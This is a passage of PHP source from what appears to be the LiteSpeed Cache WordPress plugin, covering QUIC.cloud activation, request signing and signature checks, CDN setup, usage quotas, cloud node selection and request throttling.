		if ($ref == 'cdn') {
			$link = 'admin.php?page=litespeed-cdn';
		}
		if ($ref == 'online') {
			$link = 'admin.php?page=litespeed-general';
		}
		if (!empty($_GET['ref']) && $_GET['ref'] == 'cdn') {
			$link = 'admin.php?page=litespeed-cdn';
		}
		if (!empty($_GET['ref']) && $_GET['ref'] == 'online') {
			$link = 'admin.php?page=litespeed-general';
		}
		return get_admin_url(null, $link);
	}

	/**
	 * Init QC setup (CLI)
	 *
	 * @since 7.0
	 */
	public function init_qc_cli() {
		$this->init_qc_prepare();

		$server_ip = $this->conf(self::O_SERVER_IP);
		if (!$server_ip) {
			self::debugErr('Server IP needs to be set first!');
			$msg = sprintf(
				__('You need to set the %1$s first. Please use the command %2$s to set.', 'litespeed-cache'),
				'`' . __('Server IP', 'litespeed-cache') . '`',
				'`wp litespeed-option set server_ip __your_ip_value__`'
			);
			Admin_Display::error($msg);
			return;
		}

		// WPAPI REST echo dryrun
		$echobox  = self::post(self::API_REST_ECHO);
		if ($echobox === false) {
			self::debugErr('REST Echo Failed!');
			$msg = __("QUIC.cloud's access to your WP REST API seems to be blocked.", 'litespeed-cache');
			Admin_Display::error($msg);
			return;
		}

		self::debug('echo succeeded');

		// Load separate thread echoed data from storage
		if (empty($echobox['wpapi_ts']) || empty($echobox['wpapi_signature_b64'])) {
			self::debug('Resp: ', $echobox);
			Admin_Display::error(__('Failed to get echo data from WPAPI', 'litespeed-cache'));
			return;
		}

		$data = array(
			'wp_pk_b64' => $this->_summary['pk_b64'],
			'wpapi_ts' => $echobox['wpapi_ts'],
			'wpapi_signature_b64' => $echobox['wpapi_signature_b64'],
			'server_ip' => $server_ip,
		);

		$res = $this->post(self::SVC_D_ACTIVATE, $data);
		return $res;
	}

	/**
	 * Init QC CDN setup (CLI)
	 *
	 * @since 7.0
	 */
	public function init_qc_cdn_cli( $method, $cert = false, $key = false, $cf_token = false ) {
		if (!$this->activated()) {
			Admin_Display::error(__('You need to activate QC first.', 'litespeed-cache'));
			return;
		}

		$server_ip = $this->conf(self::O_SERVER_IP);
		if (!$server_ip) {
			self::debugErr('Server IP needs to be set first!');
			$msg = sprintf(
				__('You need to set the %1$s first. Please use the command %2$s to set.', 'litespeed-cache'),
				'`' . __('Server IP', 'litespeed-cache') . '`',
				'`wp litespeed-option set server_ip __your_ip_value__`'
			);
			Admin_Display::error($msg);
			return;
		}

		if ($cert) {
			if (!file_exists($cert) || !file_exists($key)) {
				Admin_Display::error(__('Cert or key file does not exist.', 'litespeed-cache'));
				return;
			}
		}

		$data = array(
			'method' => $method,
			'server_ip' => $server_ip,
		);
		if ($cert) {
			$data['cert'] = File::read($cert);
			$data['key']  = File::read($key);
		}
		if ($cf_token) {
			$data['cf_token'] = $cf_token;
		}

		$res = $this->post(self::SVC_D_ENABLE_CDN, $data);
		return $res;
	}

	/**
	 * Link to QC setup
	 *
	 * @since 7.0
	 */
	public function link_qc() {
		if (!$this->activated()) {
			Admin_Display::error(__('You need to activate QC first.', 'litespeed-cache'));
			return;
		}

		$data                     = array(
			'wp_ts' => time(),
		);
		$data['wp_signature_b64'] = $this->_sign_b64($data['wp_ts']);

		// Activation redirect
		$param = array(
			'site_url' => site_url(),
			'ver' => Core::VER,
			'data' => $data,
			'ref' => $this->_get_ref_url(),
		);
		wp_redirect($this->_cloud_server_dash . '/' . self::SVC_U_LINK . '?data=' . urlencode(Utility::arr2str($param)));
		exit();
	}

	/**
	 * Show QC Account CDN status
	 *
	 * @since 7.0
	 */
	public function cdn_status_cli() {
		if (!$this->activated()) {
			Admin_Display::error(__('You need to activate QC first.', 'litespeed-cache'));
			return;
		}

		$data = array();
		$res  = $this->post(self::SVC_D_STATUS_CDN_CLI, $data);
		return $res;
	}

	/**
	 * Link to QC Account for CLI
	 *
	 * @since 7.0
	 */
	public function link_qc_cli( $email, $key ) {
		if (!$this->activated()) {
			Admin_Display::error(__('You need to activate QC first.', 'litespeed-cache'));
			return;
		}

		$data = array(
			'qc_acct_email' => $email,
			'qc_acct_apikey' => $key,
		);
		$res  = $this->post(self::SVC_D_LINK, $data);
		return $res;
	}

	/**
	 * API link parsed call to QC
	 *
	 * @since 7.0
	 */
	public function api_link_call( $action2 ) {
		if (!$this->activated()) {
			Admin_Display::error(__('You need to activate QC first.', 'litespeed-cache'));
			return;
		}

		$data = array(
			'action2' => $action2,
		);
		$res  = $this->post(self::SVC_D_API, $data);
		self::debug('API link call result: ', $res);
	}

	/**
	 * Enable QC CDN
	 *
	 * @since 7.0
	 */
	public function enable_cdn() {
		if (!$this->activated()) {
			Admin_Display::error(__('You need to activate QC first.', 'litespeed-cache'));
			return;
		}

		$data                     = array(
			'wp_ts' => time(),
		);
		$data['wp_signature_b64'] = $this->_sign_b64($data['wp_ts']);

		// Activation redirect
		$param = array(
			'site_url' => site_url(),
			'ver' => Core::VER,
			'data' => $data,
			'ref' => $this->_get_ref_url(),
		);
		wp_redirect($this->_cloud_server_dash . '/' . self::SVC_U_ENABLE_CDN . '?data=' . urlencode(Utility::arr2str($param)));
		exit();
	}

	/**
	 * Encrypt data for cloud req
	 *
	 * @since 7.0
	 */
	private function _sign_b64( $data ) {
		if (empty($this->_summary['sk_b64'])) {
			self::debugErr('No sk to sign.');
			return false;
		}
		$sk = base64_decode($this->_summary['sk_b64']);
		if (strlen($sk) !== SODIUM_CRYPTO_SIGN_SECRETKEYBYTES) {
			self::debugErr('Invalid local sign sk length.');
			// Reset local pk/sk
			unset($this->_summary['pk_b64']);
			unset($this->_summary['sk_b64']);
			$this->save_summary();
			self::debug('Clear local sign pk/sk pair.');

			return false;
		}
		$signature = sodium_crypto_sign_detached((string) $data, $sk);
		return base64_encode($signature);
	}

	/**
	 * Load server pk from cloud
	 *
	 * @since 7.0
	 */
	private function _load_server_pk( $from_wpapi = false ) {
		// Load cloud pk
		$server_key_url = $this->_cloud_server . '/' . self::API_SERVER_KEY_SIGN;
		if ($from_wpapi) {
			$server_key_url = $this->_cloud_server_wp . '/' . self::API_SERVER_KEY_SIGN;
		}
		$resp = wp_safe_remote_get($server_key_url);
		if (is_wp_error($resp)) {
			self::debugErr('Failed to load key: ' . $resp->get_error_message());
			return false;
		}
		$pk = trim($resp['body']);
		self::debug('Loaded key from ' . $server_key_url . ': ' . $pk);
		$cloud_pk = base64_decode($pk);
		if (strlen($cloud_pk) !== SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES) {
			self::debugErr('Invalid cloud public key length.');
			return false;
		}

		$sk = base64_decode($this->_summary['sk_b64']);
		if (strlen($sk) !== SODIUM_CRYPTO_SIGN_SECRETKEYBYTES) {
			self::debugErr('Invalid local secret key length.');
			// Reset local pk/sk
			unset($this->_summary['pk_b64']);
			unset($this->_summary['sk_b64']);
			$this->save_summary();
			self::debug('Unset local pk/sk pair.');

			return false;
		}

		return $cloud_pk;
	}

	/**
	 * WPAPI echo back to notify the sealed databox
	 *
	 * @since 7.0
	 */
	public function wp_rest_echo() {
		self::debug('Parsing echo', $_POST);

		if (empty($_POST['wpapi_ts']) || empty($_POST['wpapi_signature_b64'])) {
			return self::err('No echo data');
		}

		$is_valid = $this->_validate_signature($_POST['wpapi_signature_b64'], $_POST['wpapi_ts'], true);
		if (!$is_valid) {
			return self::err('Data validation from WPAPI REST Echo failed');
		}

		$diff = time() - $_POST['wpapi_ts'];
		if (abs($diff) > 86400) {
			self::debugErr('WPAPI echo data timeout [diff] ' . $diff);
			return self::err('Echo data expired');
		}

		$signature_b64 = $this->_sign_b64($_POST['wpapi_ts']);
		self::debug('Response to echo [signature_b64] ' . $signature_b64);
		return self::ok(array( 'signature_b64' => $signature_b64 ));
	}

	/**
	 * Validate cloud data
	 *
	 * @since 7.0
	 */
	private function _validate_signature( $signature_b64, $data, $from_wpapi = false ) {
		// Try validation
		try {
			$cloud_pk = $this->_load_server_pk($from_wpapi);
			if (!$cloud_pk) {
				return false;
			}
			$signature = base64_decode($signature_b64);
			$is_valid  = sodium_crypto_sign_verify_detached($signature, $data, $cloud_pk);
		} catch (\SodiumException $e) {
			self::debugErr('Decryption failed: ' . $e->getMessage());
			return false;
		}
		self::debug('Signature validation result: ' . ($is_valid ? 'true' : 'false'));
		return $is_valid;
	}

	/**
	 * Finish qc activation after redirection back from QC
	 *
	 * @since 7.0
	 */
	public function finish_qc_activation( $ref = false ) {
		if (empty($_GET['qc_activated']) || empty($_GET['qc_ts']) || empty($_GET['qc_signature_b64'])) {
			return;
		}

		$data_to_validate_signature = array(
			'wp_pk_b64' => $this->_summary['pk_b64'],
			'qc_ts' => $_GET['qc_ts'],
		);
		$is_valid                   = $this->_validate_signature($_GET['qc_signature_b64'], implode('', $data_to_validate_signature));
		if (!$is_valid) {
			self::debugErr('Failed to validate qc activation data');
			Admin_Display::error(sprintf(__('Failed to validate %s activation data.', 'litespeed-cache'), 'QUIC.cloud'));
			return;
		}

		self::debug('QC activation status: ' . $_GET['qc_activated']);
		if (!in_array($_GET['qc_activated'], array( 'anonymous', 'linked', 'cdn' ))) {
			self::debugErr('Failed to parse qc activation status');
			Admin_Display::error(sprintf(__('Failed to parse %s activation status.', 'litespeed-cache'), 'QUIC.cloud'));
			return;
		}

		$diff = time() - $_GET['qc_ts'];
		if (abs($diff) > 86400) {
			self::debugErr('QC activation data timeout [diff] ' . $diff);
			Admin_Display::error(sprintf(__('%s activation data expired.', 'litespeed-cache'), 'QUIC.cloud'));
			return;
		}

		$main_domain = !empty($_GET['main_domain']) ? $_GET['main_domain'] : false;
		$this->update_qc_activation($_GET['qc_activated'], $main_domain);

		wp_redirect($this->_get_ref_url($ref));
	}

	/**
	 * Finish qc activation process
	 *
	 * @since 7.0
	 */
	public function update_qc_activation( $qc_activated, $main_domain = false, $quite = false ) {
		$this->_summary['qc_activated'] = $qc_activated;
		if ($main_domain) {
			$this->_summary['main_domain'] = $main_domain;
		}
		$this->save_summary();

		$msg = sprintf(__('Congratulations, %s successfully set this domain up for the anonymous online services.', 'litespeed-cache'), 'QUIC.cloud');
		if ($qc_activated == 'linked') {
			$msg = sprintf(__('Congratulations, %s successfully set this domain up for the online services.', 'litespeed-cache'), 'QUIC.cloud');
			// Sync possible partner info
			$this->sync_usage();
		}
		if ($qc_activated == 'cdn') {
			$msg = sprintf(__('Congratulations, %s successfully set this domain up for the online services with CDN service.', 'litespeed-cache'), 'QUIC.cloud');
			// Turn on CDN option
			$this->cls('Conf')->update_confs(array( self::O_CDN_QUIC => true ));
		}
		if (!$quite) {
			Admin_Display::success('🎊 ' . $msg);
		}

		$this->_clear_reset_qc_reg_msg();

		$this->clear_cloud();
	}

	/**
	 * Load QC status for dash usage
	 * Format to translate: `<a href="{#xxx#}" class="button button-primary">xxxx</a><a href="{#xxx#}">xxxx2</a>`
	 *
	 * @since 7.0
	 */
	public function load_qc_status_for_dash( $type, $force = false ) {
		return Str::translate_qc_apis($this->_load_qc_status_for_dash($type, $force));
	}
	private function _load_qc_status_for_dash( $type, $force = false ) {
		if (
			!$force &&
			!empty($this->_summary['mini_html']) &&
			isset($this->_summary['mini_html'][$type]) &&
			!empty($this->_summary['mini_html']['ttl.' . $type]) &&
			$this->_summary['mini_html']['ttl.' . $type] > time()
		) {
			return Str::safe_html($this->_summary['mini_html'][$type]);
		}

		// Try to update dash content
		$data = self::post(self::SVC_D_DASH, array( 'action2' => $type == 'cdn_dash_mini' ? 'cdn_dash' : $type ));
		if (!empty($data['qc_activated'])) {
			// Sync conf as changed
			if (empty($this->_summary['qc_activated']) || $this->_summary['qc_activated'] != $data['qc_activated']) {
				$msg = sprintf(__('Congratulations, %s successfully set this domain up for the online services with CDN service.', 'litespeed-cache'), 'QUIC.cloud');
				Admin_Display::success('🎊 ' . $msg);
				$this->_clear_reset_qc_reg_msg();
				// Turn on CDN option
				$this->cls('Conf')->update_confs(array( self::O_CDN_QUIC => true ));
				$this->cls('CDN\Quic')->try_sync_conf(true);
			}

			$this->_summary['qc_activated'] = $data['qc_activated'];
			$this->save_summary();
		}

		// Show the info
		if (isset($this->_summary['mini_html'][$type])) {
			return Str::safe_html($this->_summary['mini_html'][$type]);
		}

		return '';
	}

	/**
	 * Update QC status
	 *
	 * @since 7.0
	 */
	public function update_cdn_status() {
		if (empty($_POST['qc_activated']) || !in_array($_POST['qc_activated'], array( 'anonymous', 'linked', 'cdn', 'deleted' ))) {
			return self::err('lack_of_params');
		}

		self::debug('update_cdn_status request hash: ' . $_POST['qc_activated']);

		if ($_POST['qc_activated'] == 'deleted') {
			$this->_reset_qc_reg();
		} else {
			$this->_summary['qc_activated'] = $_POST['qc_activated'];
			$this->save_summary();
		}

		if ($_POST['qc_activated'] == 'cdn') {
			$msg = sprintf(__('Congratulations, %s successfully set this domain up for the online services with CDN service.', 'litespeed-cache'), 'QUIC.cloud');
			Admin_Display::success('🎊 ' . $msg);
			$this->_clear_reset_qc_reg_msg();
			// Turn on CDN option
			$this->cls('Conf')->update_confs(array( self::O_CDN_QUIC => true ));
			$this->cls('CDN\Quic')->try_sync_conf(true);
		}

		return self::ok(array( 'qc_activated' => $_POST['qc_activated'] ));
	}

	/**
	 * Reset QC setup
	 *
	 * @since 7.0
	 */
	public function reset_qc() {
		unset($this->_summary['pk_b64']);
		unset($this->_summary['sk_b64']);
		unset($this->_summary['qc_activated']);
		if (!empty($this->_summary['partner'])) {
			unset($this->_summary['partner']);
		}
		$this->save_summary();
		self::debug('Clear local QC activation.');

		$this->clear_cloud();

		Admin_Display::success(sprintf(__('Reset %s activation successfully.', 'litespeed-cache'), 'QUIC.cloud'));
		wp_redirect($this->_get_ref_url());
		exit();
	}

	/**
	 * Show latest commit version always if is on dev
	 *
	 * @since 3.0
	 */
	public function check_dev_version() {
		if (!preg_match('/[^\d\.]/', Core::VER)) {
			return;
		}

		$last_check = empty($this->_summary['last_request.' . self::API_VER]) ? 0 : $this->_summary['last_request.' . self::API_VER];

		if (time() - $last_check > 86400) {
			$auto_v = self::version_check('dev');
			if (!empty($auto_v['dev'])) {
				self::save_summary(array( 'version.dev' => $auto_v['dev'] ));
			}
		}

		if (empty($this->_summary['version.dev'])) {
			return;
		}

		self::debug('Latest dev version ' . $this->_summary['version.dev']);

		if (version_compare($this->_summary['version.dev'], Core::VER, '<=')) {
			return;
		}

		// Show the dev banner
		require_once LSCWP_DIR . 'tpl/banner/new_version_dev.tpl.php';
	}

	/**
	 * Check latest version
	 *
	 * @since  2.9
	 * @access public
	 */
	public static function version_check( $src = false ) {
		$req_data = array(
			'v' => defined('LSCWP_CUR_V') ? LSCWP_CUR_V : '',
			'src' => $src,
			'php' => phpversion(),
		);
		// If code ver is smaller than db ver, bypass
		if (!empty($req_data['v']) && version_compare(Core::VER, $req_data['v'], '<')) {
			return;
		}
		if (defined('LITESPEED_ERR')) {
			$LITESPEED_ERR = constant('LITESPEED_ERR');
			$req_data['err'] = base64_encode(!is_string($LITESPEED_ERR) ? \json_encode($LITESPEED_ERR) : $LITESPEED_ERR);
		}
		$data = self::post(self::API_VER, $req_data);

		return $data;
	}

	/**
	 * Show latest news
	 *
	 * @since 3.0
	 */
	public function news() {
		$this->_update_news();

		if (empty($this->_summary['news.new'])) {
			return;
		}

		if (!empty($this->_summary['news.plugin']) && Activation::cls()->dash_notifier_is_plugin_active($this->_summary['news.plugin'])) {
			return;
		}

		require_once LSCWP_DIR . 'tpl/banner/cloud_news.tpl.php';
	}

	/**
	 * Update latest news
	 *
	 * @since 2.9.9.1
	 */
	private function _update_news() {
		if (!empty($this->_summary['news.utime']) && time() - $this->_summary['news.utime'] < 86400 * 7) {
			return;
		}

		self::save_summary(array( 'news.utime' => time() ));

		$data = self::get(self::API_NEWS);
		if (empty($data['id'])) {
			return;
		}

		// Save news
		if (!empty($this->_summary['news.id']) && $this->_summary['news.id'] == $data['id']) {
			return;
		}

		$this->_summary['news.id']      = $data['id'];
		$this->_summary['news.plugin']  = !empty($data['plugin']) ? $data['plugin'] : '';
		$this->_summary['news.title']   = !empty($data['title']) ? $data['title'] : '';
		$this->_summary['news.content'] = !empty($data['content']) ? $data['content'] : '';
		$this->_summary['news.zip']     = !empty($data['zip']) ? $data['zip'] : '';
		$this->_summary['news.new']     = 1;

		if ($this->_summary['news.plugin']) {
			$plugin_info = Activation::cls()->dash_notifier_get_plugin_info($this->_summary['news.plugin']);
			if ($plugin_info && !empty($plugin_info->name)) {
				$this->_summary['news.plugin_name'] = $plugin_info->name;
			}
		}

		self::save_summary();
	}

	/**
	 * Check if contains a package in a service or not
	 *
	 * @since  4.0
	 */
	public function has_pkg( $service, $pkg ) {
		if (!empty($this->_summary['usage.' . $service]['pkgs']) && $this->_summary['usage.' . $service]['pkgs'] & $pkg) {
			return true;
		}

		return false;
	}

	/**
	 * Get allowance of current service
	 *
	 * @since  3.0
	 * @access private
	 */
	public function allowance( $service, &$err = false ) {
		// Only auto sync usage at most one time per day
		if (empty($this->_summary['last_request.' . self::SVC_D_USAGE]) || time() - $this->_summary['last_request.' . self::SVC_D_USAGE] > 86400) {
			$this->sync_usage();
		}

		if (in_array($service, array( self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI ))) {
			// @since 4.2
			$service = self::SVC_PAGE_OPTM;
		}

		if (empty($this->_summary['usage.' . $service])) {
			return 0;
		}
		$usage = $this->_summary['usage.' . $service];

		// Image optm is always free
		$allowance_max = 0;
		if ($service == self::SVC_IMG_OPTM) {
			$allowance_max = self::IMG_OPTM_DEFAULT_GROUP;
		}

		$allowance = $usage['quota'] - $usage['used'];

		$err = 'out_of_quota';

		if ($allowance > 0) {
			if ($allowance_max && $allowance_max < $allowance) {
				$allowance = $allowance_max;
			}

			// Daily limit @since 4.2
			if (isset($usage['remaining_daily_quota']) && $usage['remaining_daily_quota'] >= 0 && $usage['remaining_daily_quota'] < $allowance) {
				$allowance = $usage['remaining_daily_quota'];
				if (!$allowance) {
					$err = 'out_of_daily_quota';
				}
			}

			return $allowance;
		}

		// Check Pay As You Go balance
		if (empty($usage['pag_bal'])) {
			return $allowance_max;
		}

		if ($allowance_max && $allowance_max < $usage['pag_bal']) {
			return $allowance_max;
		}

		return $usage['pag_bal'];
	}

	/**
	 * Sync Cloud usage summary data
	 *
	 * @since  3.0
	 * @access public
	 */
	public function sync_usage() {
		$usage = $this->_post(self::SVC_D_USAGE);
		if (!$usage) {
			return;
		}

		self::debug('sync_usage ' . \json_encode($usage));

		foreach (self::$services as $v) {
			$this->_summary['usage.' . $v] = !empty($usage[$v]) ? $usage[$v] : false;
		}

		self::save_summary();

		return $this->_summary;
	}

	/**
	 * Clear all existing cloud nodes for future reconnect
	 *
	 * @since  3.0
	 * @access public
	 */
	public function clear_cloud() {
		foreach (self::$services as $service) {
			if (isset($this->_summary['server.' . $service])) {
				unset($this->_summary['server.' . $service]);
			}
			if (isset($this->_summary['server_date.' . $service])) {
				unset($this->_summary['server_date.' . $service]);
			}
		}
		self::save_summary();

		self::debug('Cleared all local service node caches');
	}

	/**
	 * ping clouds to find the fastest node
	 *
	 * @since  3.0
	 * @access public
	 */
	public function detect_cloud( $service, $force = false ) {
		if (in_array($service, self::$center_svc_set)) {
			return $this->_cloud_server;
		}

		if (in_array($service, self::$wp_svc_set)) {
			return $this->_cloud_server_wp;
		}

		// Check if the stored server needs to be refreshed
		if (!$force) {
			if (
				!empty($this->_summary['server.' . $service]) &&
				!empty($this->_summary['server_date.' . $service]) &&
				$this->_summary['server_date.' . $service] > time() - 86400 * self::TTL_NODE
			) {
				$server = $this->_summary['server.' . $service];
				if (!strpos($this->_cloud_server, 'preview.') && !strpos($server, 'preview.')) {
					return $server;
				}
				if (strpos($this->_cloud_server, 'preview.') && strpos($server, 'preview.')) {
					return $server;
				}
			}
		}

		if (!$service || !in_array($service, self::$services)) {
			$msg = __('Cloud Error', 'litespeed-cache') . ': ' . $service;
			Admin_Display::error($msg);
			return false;
		}

		// Send request to Quic Online Service
		$json = $this->_post(self::SVC_D_NODES, array( 'svc' => $this->_maybe_queue($service) ));

		// Check if get list correctly
		if (empty($json['list']) || !is_array($json['list'])) {
			self::debug('request cloud list failed: ', $json);

			if ($json) {
				$msg = __('Cloud Error', 'litespeed-cache') . ": [Service] $service [Info] " . \json_encode($json);
				Admin_Display::error($msg);
			}

			return false;
		}

		// Ping closest cloud
		$valid_clouds = false;
		if (!empty($json['list_preferred'])) {
			$valid_clouds = $this->_get_closest_nodes($json['list_preferred'], $service);
		}
		if (!$valid_clouds) {
			$valid_clouds = $this->_get_closest_nodes($json['list'], $service);
		}
		if (!$valid_clouds) {
			return false;
		}

		// Check server load
		if (in_array($service, self::$services_load_check)) {
			// TODO
			$valid_cloud_loads = array();
			foreach ($valid_clouds as $k => $v) {
				$response = wp_safe_remote_get($v, array( 'timeout' => 5 ));
				if (is_wp_error($response)) {
					$error_message = $response->get_error_message();
					self::debug('failed to do load checker: ' . $error_message);
					continue;
				}

				$curr_load = \json_decode($response['body'], true);
				if (!empty($curr_load['_res']) && $curr_load['_res'] == 'ok' && isset($curr_load['load'])) {
					$valid_cloud_loads[$v] = $curr_load['load'];
				}
			}

			if (!$valid_cloud_loads) {
				$msg = __('Cloud Error', 'litespeed-cache') . ": [Service] $service [Info] " . __('No available Cloud Node after checked server load.', 'litespeed-cache');
				Admin_Display::error($msg);
				return false;
			}

			self::debug('Closest nodes list after load check', $valid_cloud_loads);

			$qualified_list = array_keys($valid_cloud_loads, min($valid_cloud_loads));
		} else {
			$qualified_list = $valid_clouds;
		}

		$closest = $qualified_list[array_rand($qualified_list)];

		self::debug('Chose node: ' . $closest);

		// store data into option locally
		$this->_summary['server.' . $service]      = $closest;
		$this->_summary['server_date.' . $service] = time();
		self::save_summary();

		return $this->_summary['server.' . $service];
	}

	/**
	 * Ping to choose the closest nodes
	 *
	 * @since 7.0
	 */
	private function _get_closest_nodes( $list, $service ) {
		$speed_list = array();
		foreach ($list as $v) {
			// Exclude possible failed 503 nodes
			if (!empty($this->_summary['disabled_node']) && !empty($this->_summary['disabled_node'][$v]) && time() - $this->_summary['disabled_node'][$v] < 86400) {
				continue;
			}
			$speed_list[$v] = Utility::ping($v);
		}

		if (!$speed_list) {
			self::debug('nodes are in 503 failed nodes');
			return false;
		}

		$min = min($speed_list);

		if ($min == 99999) {
			self::debug('failed to ping all clouds');
			return false;
		}

		// Random pick same time range ip (230ms 250ms)
		$range_len    = strlen($min);
		$range_num    = substr($min, 0, 1);
		$valid_clouds = array();
		foreach ($speed_list as $node => $speed) {
			if (strlen($speed) == $range_len && substr($speed, 0, 1) == $range_num) {
				$valid_clouds[] = $node;
			}
			// Append the lower speed ones
			elseif ($speed < $min * 4) {
				$valid_clouds[] = $node;
			}
		}

		if (!$valid_clouds) {
			$msg = __('Cloud Error', 'litespeed-cache') . ": [Service] $service [Info] " . __('No available Cloud Node.', 'litespeed-cache');
			Admin_Display::error($msg);
			return false;
		}

		self::debug('Closest nodes list', $valid_clouds);
		return $valid_clouds;
	}

	/**
	 * May need to convert to queue service
	 */
	private function _maybe_queue( $service ) {
		if (in_array($service, self::$_queue_svc_set)) {
			return self::SVC_QUEUE;
		}
		return $service;
	}

	/**
	 * Get data from QUIC cloud server
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function get( $service, $data = array() ) {
		$instance = self::cls();
		return $instance->_get($service, $data);
	}

	/**
	 * Get data from QUIC cloud server
	 *
	 * @since  3.0
	 * @access private
	 */
	private function _get( $service, $data = false ) {
		$service_tag = $service;
		if (!empty($data['action'])) {
			$service_tag .= '-' . $data['action'];
		}

		$maybe_cloud = $this->_maybe_cloud($service_tag);
		if (!$maybe_cloud || $maybe_cloud === 'svc_hot') {
			return $maybe_cloud;
		}

		$server = $this->detect_cloud($service);
		if (!$server) {
			return;
		}

		$url = $server . '/' . $service;

		$param = array(
			'site_url' => site_url(),
			'main_domain' => !empty($this->_summary['main_domain']) ? $this->_summary['main_domain'] : '',
			'ver' => Core::VER,
		);

		if ($data) {
			$param['data'] = $data;
		}

		$url .= '?' . http_build_query($param);

		self::debug('getting from : ' . $url);

		self::save_summary(array( 'curr_request.' . $service_tag => time() ));
		File::save($this->_qc_time_file($service_tag, 'curr'), time(), true);

		$response = wp_safe_remote_get($url, array(
			'timeout' => 15,
			'headers' => array( 'Accept' => 'application/json' ),
		));

		return $this->_parse_response($response, $service, $service_tag, $server);
	}

	/**
	 * Check if is able to do cloud request or not
	 *
	 * @since  3.0
	 * @access private
	 */
	private function _maybe_cloud( $service_tag ) {
		$site_url = site_url();
		if (!wp_http_validate_url($site_url)) {
			self::debug('wp_http_validate_url failed: ' . $site_url);
			return false;
		}

		// Deny if is IP
		if (preg_match('#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', Utility::parse_url_safe($site_url, PHP_URL_HOST))) {
			self::debug('IP home url is not allowed for cloud service.');
			$msg = __('In order to use QC services, need a real domain name, cannot use an IP.', 'litespeed-cache');
			Admin_Display::error($msg);
			return false;
		}

		/** @since 5.0 If in valid err_domains, bypass request */
		if ($this->_is_err_domain($site_url)) {
			self::debug('home url is in err_domains, bypass request: ' . $site_url);
			return false;
		}

		// we don't want the `img_optm-taken` to fail at any given time
		if ($service_tag == self::IMGOPTM_TAKEN) {
			return true;
		}

		if ($service_tag == self::SVC_D_SYNC_CONF && !$this->activated()) {
			self::debug('Skip sync conf as QC not activated yet.');
			return false;
		}

		// Check TTL
		if (!empty($this->_summary['ttl.' . $service_tag])) {
			$ttl = $this->_summary['ttl.' . $service_tag] - time();
			if ($ttl > 0) {
				self::debug('❌ TTL limit. [srv] ' . $service_tag . ' [TTL cool down] ' . $ttl . ' seconds');
				return 'svc_hot';
			}
		}

		$expiration_req = self::EXPIRATION_REQ;
		// Limit frequent unfinished request to 5min
		$timestamp_tag = 'curr';
		if ($service_tag == self::SVC_IMG_OPTM . '-' . Img_Optm::TYPE_NEW_REQ) {
			$timestamp_tag = 'last';
		}

		// For all other requests, if is under debug mode, will always allow
		if (!$this->conf(self::O_DEBUG)) {
			if (!empty($this->_summary[$timestamp_tag . '_request.' . $service_tag])) {
				$expired = $this->_summary[$timestamp_tag . '_request.' . $service_tag] + $expiration_req - time();
				if ($expired > 0) {
					self::debug("❌ try [$service_tag] after $expired seconds");

					if ($service_tag !== self::API_VER) {
						$msg =
							__('Cloud Error', 'litespeed-cache') .
							': ' .
							sprintf(
								__('Please try after %1$s for service %2$s.', 'litespeed-cache'),
								Utility::readable_time($expired, 0, true),
								'<code>' . $service_tag . '</code>'
							);
						Admin_Display::error(array( 'cloud_trylater' => $msg ));
					}

					return false;
				}
			} else {
				// May fail to store to db if db is oc cached/dead/locked/readonly. Need to store to file to prevent from duplicate calls
				$file_path = $this->_qc_time_file($service_tag, $timestamp_tag);
				if (file_exists($file_path)) {
					$last_request = file_get_contents($file_path);
					$expired      = $last_request + $expiration_req * 10 - time();
					if ($expired > 0) {
						self::debug("❌ try [$service_tag] after $expired seconds");
						return false;
					}
				}
				// For ver check, additional check to prevent frequent calls as old DB ver may be cached
				if (self::API_VER === $service_tag) {
					$file_path = $this->_qc_time_file($service_tag);
					if (file_exists($file_path)) {
						$last_request = file_get_contents($file_path);
						$expired      = $last_request + $expiration_req * 10 - time();
						if ($expired > 0) {
							self::debug("❌❌ Unusual req! try [$service_tag] after $expired seconds");
							return false;
						}
					// } else {
					// 	File::save(LITESPEED_STATIC_DIR . '/qc_curr_request' . md5($service_tag), time(), true);
					}
				}
			}
		}

		if (in_array($service_tag, self::$_pub_svc_set)) {
			return true;
		}

		if (!$this->activated() && $service_tag != self::SVC_D_ACTIVATE) {
			Admin_Display::error(Error::msg('qc_setup_required'));
			return false;
		}

		return true;
	}

	/**
	 * Get QC req ts file path
	 *
	 * @since 7.5
	 */
	private function _qc_time_file( $service_tag, $type = 'last' ) {
		if ('curr' !== $type) {
			$type = 'last';
		}
		$legacy_file = LITESPEED_STATIC_DIR . '/qc_' . $type . '_request' . md5($service_tag);
		if (file_exists($legacy_file)) {
			wp_delete_file($legacy_file);
		}
		$service_tag = preg_replace('/[^a-zA-Z0-9]/', '', $service_tag);
		return LITESPEED_STATIC_DIR . '/qc.' . $type . '.' . $service_tag;
	}

	/**
	 * Check if a service tag ttl is valid or not
	 *
	 * @since 7.1
	 */
	public function service_hot( $service_tag ) {
		if (empty($this->_summary['ttl.' . $service_tag])) {
			return false;
		}

		$ttl = $this->_summary['ttl.' . $service_tag] - time();
		if ($ttl <= 0) {
			return false;
		}

		return $ttl;
	}

	/**
	 * Check if activated QUIC.cloud service or not
	 *
	 * @since  7.0
	 * @access public
	 */
	public function activated() {
		return !empty($this->_summary['sk_b64']) && !empty($this->_summary['qc_activated']);
	}

	/**
	 * Show my.qc quick link to the domain page
	 */
	public function qc_link() {
		$data = array(
			'site_url' => site_url(),
			'ver' => LSCWP_V,
			'ref' => $this->_get_ref_url(),
		);
		return $this->_cloud_server_dash . '/u/wp3/manage?data=' . urlencode(Utility::arr2str($data)); // . (!empty($this->_summary['is_linked']) ? '?wplogin=1' : '');
	}

	/**
	 * Post data to QUIC.cloud server
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function post( $service, $data = false, $time_out = false ) {
		$instance = self::cls();
		return $instance->_post($service, $data, $time_out);
	}

	/**
	 * Post data to cloud server
	 *
	 * @since  3.0
	 * @access private
	 */
	private function _post( $service, $data = false, $time_out = false ) {
		$service_tag = $service;
		if (!empty($data['action'])) {
			$service_tag .= '-' . $data['action'];
		}

		$maybe_cloud = $this->_maybe_cloud($service_tag);
		if (!$maybe_cloud || $maybe_cloud === 'svc_hot') {
			self::debug('Maybe cloud failed: ' . var_export($maybe_cloud, true));
			return $maybe_cloud;
		}

		$server = $this->detect_cloud($service);
		if (!$server) {
			return;
